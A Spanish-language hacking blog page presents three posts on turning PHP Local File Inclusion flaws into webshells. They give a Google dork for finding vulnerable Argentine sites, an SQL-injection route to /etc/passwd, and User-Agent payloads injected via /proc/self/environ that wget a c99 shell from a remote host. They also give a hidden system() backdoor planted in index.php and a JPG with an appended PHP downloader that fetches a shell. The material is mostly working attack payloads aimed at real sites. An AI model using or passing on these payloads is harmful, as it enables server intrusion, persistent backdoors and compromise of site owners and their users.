Nuevas Entradas
Mostrando entradas con la etiqueta LFI. Mostrar todas las entradas
Mostrando entradas con la etiqueta LFI. Mostrar todas las entradas

LFI+SQLI [Incluyendo Ficheros en Valores Enteros]



No es necesario que un parametro trabaje con valores tipo “string” para incluir ficheros localmente, hay ciertos parametros que trabajan con funciones como include(), require(), etc pero lo hacen por medio de un valor entero,por ejemplo

Tenemos la siguiente url: http://www.webvuln.com/path/index.php?op=11

 La cual se encarga de mostrar cierto contenido dependiendo del valor que sea ingresado en el “id”.En este caso el script realiza una sentencia en la base de datos para obtener el nombre del fichero, el cual luego sera pasado a include().

Ahora vamos a un caso real. La vulnerabilidad se da del lado del admin, al ingresar una comilla simple vemos el siguiente error.


El problema es que no podemos realizar un path traversal directamente por lo que se explicaba en lineas anteriores, pero si podriamos comprobar si el mismo parametro es vulnerable a inyeccion de comandos SQL.


Definitivamente si, y nos arroja la columna 3 la cual hace referencia a la seleccion de la ruta del archivo. Entonces podriamos probar a inyecctar una sentencia para poder divisar cualquier fichero (siempre dentro de los limites) a nuestro antojo. Veamos el fichero /etc/passwd.



Como dije anteriormente este parametro vulnerable se encuentra detras del panel de administracion, pero hay muchas veces en las que la reglas de un upload no pueden ser evadidas y hay que buscar otra manera de subir una shell, tranquilamente se podria explotar mediante una jpg file inclusion y proseguir con la intrusion.

Explotar LFI /proc/self/environ



En esta entrada analizaremos una forma poco conocida para llegar de un Local File Inclusion a la Shell a traves de el fichero /proc/self/environ

Empecemos:

Primero buscamos utilizando google dorks alguna web vulnerable a LFI

Dork:

inurl:*.php?page=* site:.com.ar


Probamos que al incluir /etc/passwd nos muestra su contenido

http://sitiovulnerable/index.php?page=/etc/passwd




Damos como parametro a incluir /proc/self/environ y vemos el siguien resultado

http://sitiovulnerable/index.php?page=/proc/self/environ


Nos vamos a Mozilla Firefox y abrimos el addon Tamper Data:

Damos click en Start Tamper y volvemos a realizar la petición al sitio web

Atrapa el primer "paquete" y nos sale el siguiente cartel



Desactivamos la casilla "Continue Tampering" y Damos Click en Tamper, modificamos el parametro User-Agent intrudiciendo código php

<?php System('ls'); ?>


para ver si logramos listar el contenido de host.


Confirmamos y vemos q el codigo php se ejecuta correctamente y lista los archivos y directorios de la web Vulnerable:



Ahora sabemos que se puede ejecutar Codigo bash por medio de este LFI con el comando system,exec,etc (si no funcionace reciviriamos un mensaje diciendo q la funcion system() a sido deshabilitada por razones de seguridad)

Subiremos nuestra Shell, de la siguiente forma.

Abriremos Tamper Data y comenzaremos a Capturar.
Repetiremos la peticion al host:

http://sitiovulnerable/index.php?page=/proc/self/environ

Modificaremos el Parametro User-Agent para que ejecute Wget y descarge una shell en txt de donde sea que este alojada con el siguiente codigo php

<?php system('wget http://SitioDeLaShell/shell.txt'); ?>



Repetimos la operación con Tamper Data y comprobamos q nuestra shell se subío correctamente pasando como parametro en User-Agent

<?php system('ls'); ?>


Vemos que dentro de la lista de archivos del host aparece nuestra shell



Convertiremos nuestro txt, en un archivo php, repitiendo la operacion con Tamper Data y pasando como parametro de User-Agent

<?php system('mv c99.txt s.php'); ?>


Una ves hecho esto repetimos el procedimiento con Tamper Data para listar nuestros archivos, para ver si el proceso anterior Termino Correctamente:

<?php system('ls'); ?>




Como vemos el archivo fue renombrado correctamente, solo nos queda vistar nuestro archivo por medio de la URL

http://sitiovulerable/s.php


Como vemos la ejecucion de la shellphp, se ejecuto correctamente.
Para mantener el acceso planteremos backdoor dentro del codigo de algun archivo, yo elegi el index.php

Backdoor:

<?php
if($_GET['active']=='si'){
system( $_GET['c']);
}
?>



Lo Introduciremos dentro de index.php y al llamarlo desde

http://SutioVulnerable/index.php?c=ls&active=si

nos mostrara el resultado de la ejecución del parametro q pasemos.



Solo nos queda eliminar s.php con el comando rm s.php por medio de nuestro Backdoor

http://SutioVulnerable/index.php?c=rm s.php&active=si

Listamos el Contenido del Host

http://SutioVulnerable/index.php?c=ls&active=si

y vemos que s.php ha desaparecido.



Happy Hacking!

WebShell Mediante Local File Inclusion y jpg


by hdbreaker


¿Que es un Local File Inclusion? 

Local File Inclusion, o traducido al castellano inclusion local de archivos, se trata de la inclusion de ficheros locales, es decir, ficheros que se encuentran en el mismo servidor de la web con este tipo de fallo, a diferencia de Remote File Inclusion que incluye ficheros alojados en otros servidores. Es consecuencia de un fallo en la programacion de la página, mal filtrado de los que se incluye al usar funciones en PHP para incluir archivos.
Ejemplo de incusion de ficheros locales:

http://web.com/index.php?page=empresa.php
http://web.com/index.php?page=contacto.php

Funciones PHP más usadas que permiten inclusión de ficheros: include "fichero"; require "fichero"; include_once "fichero"; require_once "fichero"; En este post explicare como subir shell dentro de un servidor por medio de un jpg, para explotarlo por medio de LFI.

Para profundizar recomiendo la siguiente lectura:
http://wiki.elhacker.net/bugs-y-exploits/nivel-web/lfi

Empecemos:

1) Necesitamos 3 cosas una shell.php (con el contenido de nuestra webshell preferida),
una imagen q llame la atención yo elegi sexy.jpg y un archivo shell.txt con la siguiente String

<?php copy("http://servidor.com/shell.txt","nombreshell.php"); chmod("nombreshell.php",0755); ?>



Como vemos en la imagen tenemos una foto muy llamativa y un archivo shell.txt con el siguiente string

<?php copy("http://servidor.com/shell.txt","nombreshell.php"); chmod("nombreshell.php",0755); ?>

yo lo configure de la siguiente manera ya que es un laboratorio local.

<? copy("http://192.168.1.1/shell.txt","shell.php"); chmod("shell.php",0755); ?>


El string en php hace lo siguiente:
Copia el contenido de shell.txt situada en nuestro servidor dentro de shell.php
(lo crea dentro de servidor vulnerable) y le asigna permisos 755

Abrimos nuestro terminal y nos situamos en la carpeta donde tenemos la foto sexy.jpg y shell.txt
y tipeamos:

cat shell.txt >> sexy.jpg



Todo termina correctamente, y si hacemos un cat a sexy.jpg podemos ver el Source Incluido en ella

cat sexy.jpg



Abrimos sexy.jpg y vemos q la imagen abre sin ningun problema


Ahora nos resta subir sexy.jpg a un servidor Vulnerable a LFI e incluir la Imagen para q se ejecute su contenido php.

(Asumo que ya tiene acceso a AdminPanel y existe un Upload en "X" servidor con una Vulnerabilidad LFI)

http://WebVulnerable/LFI.php?Parametro=sexy.jpg


veremos que algunos caracteres aparecen en el navegador (estos son los caracteres Internos del jpg)

luego simplemente visitamos nuestra shell con la url correspondiente

http://WebVulnerable/shell.php


Happy Hacking!
 
Copyright © 2014 Security Signal.
Designed by OddThemes | Distributed By Gooyaabi Templates